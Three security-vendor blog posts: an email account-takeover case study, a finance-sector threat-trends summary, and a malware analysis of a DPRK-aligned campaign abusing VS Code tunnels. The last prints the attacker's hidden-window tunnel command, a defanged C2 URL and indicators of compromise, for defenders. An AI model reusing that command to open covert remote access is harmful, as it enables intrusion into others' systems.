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October 4, 2020

Wide Scale Email Compromise Due to Mimecast Miss

Learn how a Mimecast misstep led to a large-scale email compromise and how DarkTrace AI detected the threat. Stay informed and protected against cyber threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
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04
Oct 2020

In the last few years, email attacks have rapidly increased in volume and sophistication, with well-researched and convincing impersonation attacks accompanying rising cases of account takeovers. Their sophistication has particularly accelerated over the course of 2020, with globally pertinent news and more businesses embracing new ways of working proving to be fertile content for email attacks.

In this threat landscape, traditional email tools – which create rules for what ‘bad’ emails look like based on past campaigns – are missing these novel and sophisticated hoax emails.

This blog looks at an Australian logistics company that had Mimecast operating in its Microsoft 365 environment, but moved to an autonomous approach to email security when a malicious email — deemed benign by all other tools — was detected by Darktrace’s AI.

The company was trialling Antigena Email which was installed in passive mode, meaning it wasn’t configured to actively interfere. However, looking into the email dashboard allows us to see what actions the technology would have taken – and the consequences of relying purely on gateways to stop advanced threats.

Without AI taking action, compromising one employee’s email account was all the attacker needed to continue making headway throughout the business. The attacker accessed several sensitive files, gathering details of employees and credit card transactions, and then began communicating with others in the organization, sending out over two hundred further emails to take hold of more employee accounts. This activity was picked up in real time by Darktrace’s Microsoft 365 SaaS Module.

Details of the attack

The company was under sustained attack from a cyber-criminal who had already performed account hijacks on a number of their trusted partners. Abusing their trusted relationships, the attacker sent out several tailored emails from these partners’ accounts to the Australian company. All used the same convention in the subject – RFP for [compromised company’s name] – and all appeared to be credential harvesting.

Figure 1: A sample of the malicious emails from the hijacked accounts; the red icon indicating that Antigena Email would have held these emails back

Each of these emails contained a malicious payload, which was a file storage (SharePoint) link, hidden behind the below text. It’s likely the attacker did this to bypass mail link analysis. Mimecast did rewrite the link for analysis, but it failed to identify it as malicious.

Figure 2: Darktrace surfaces the text behind which the link was hidden

When clicked on, the link took the victim to a fake Microsoft login page for credential harvesting. This was an accurate replica of a genuine login page and sent email and password combinations directly to the attacker for further account compromise.

Figure 3: The fake Microsoft login page

A number of employees read the email, including the CEO; however only one person – a general manager – appeared to get their email account hijacked by the attacker.

Figure 4: An interactive snapshot of Antigena Email’s user interface

About three hours after opening the malicious email, an anomalous SaaS login was detected on the account from an IP address not seen across the business before.

Open source analysis of the IP address showed that it was a high fraud risk ISP, which runs anonymizing VPNs and servers – this may have been how the attacker overcame geofencing rules.

Shortly afterwards, Darktrace detected an anonymous sharing link being created for a password file.

Figure 5: Darktrace’s SaaS Module revealing the anomalous creation of a link

Darktrace revealed that this file was subsequently accessed by the anomalous IP address. Deeper analysis showed that the attacker repeated this methodology, making previously protected resources publicly available, before immediately accessing them publicly via the same IP address. Darktrace AI observed the attacker accessing potentially sensitive information, including a file that appeared to hold information about credit card transactions, as well as a document containing passwords.

Figure 6: Darktrace’s SaaS Console surfaces the unusual activity on the compromised account

Perpetuating the attack

The following day, after the attacker had exhausted all sensitive information they could elicit from the compromised email account, they then used that account to send out further malicious emails to trusted business associates using the same methodology as before – sending fake and targeted RFPs in an attempt to compromise credentials. Darktrace’s SaaS Module identified this anomalous behavior, graphically revealing that the attacker sent out over 1,600 tailored emails over the course of 25 minutes.

Figure 7: A graphical representation of the burst of emails sent over a 25 minute period

Why AI is needed to fight modern email threats

For the logistics company in question, this incident served as a wake-up call. The Managed Security Service Provider (MSSP) running their cloud security was completely unaware of the account takeover, which was detected by Darktrace’s SaaS Module. The organization realised that today’s email security challenge requires best in class technologies that can not only prevent phishing emails from reaching the inbox, but detect account takeovers and malicious outbound emails sent from a compromised account.

This incident caused the organization to deploy Antigena Email in active mode, allowing the technology to stop the most subtle and targeted threats that attempt to enter through the inbox based on its nuanced and contextual understanding of the normal ‘pattern of life’ for every user and device.

The reality is, hundreds of emails like this trick not only humans, but traditional security tools every day. It’s clear that when it comes to the growing email security challenge, the status quo is no longer good enough. With the modern workforce more dispersed and agile than ever, there is a growing need to protect remote users across SaaS collaboration platforms, whilst neutralizing email attacks before they reach the inbox.

Thanks to Darktrace analyst Liam Dermody for his insights on the above threat find.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 27, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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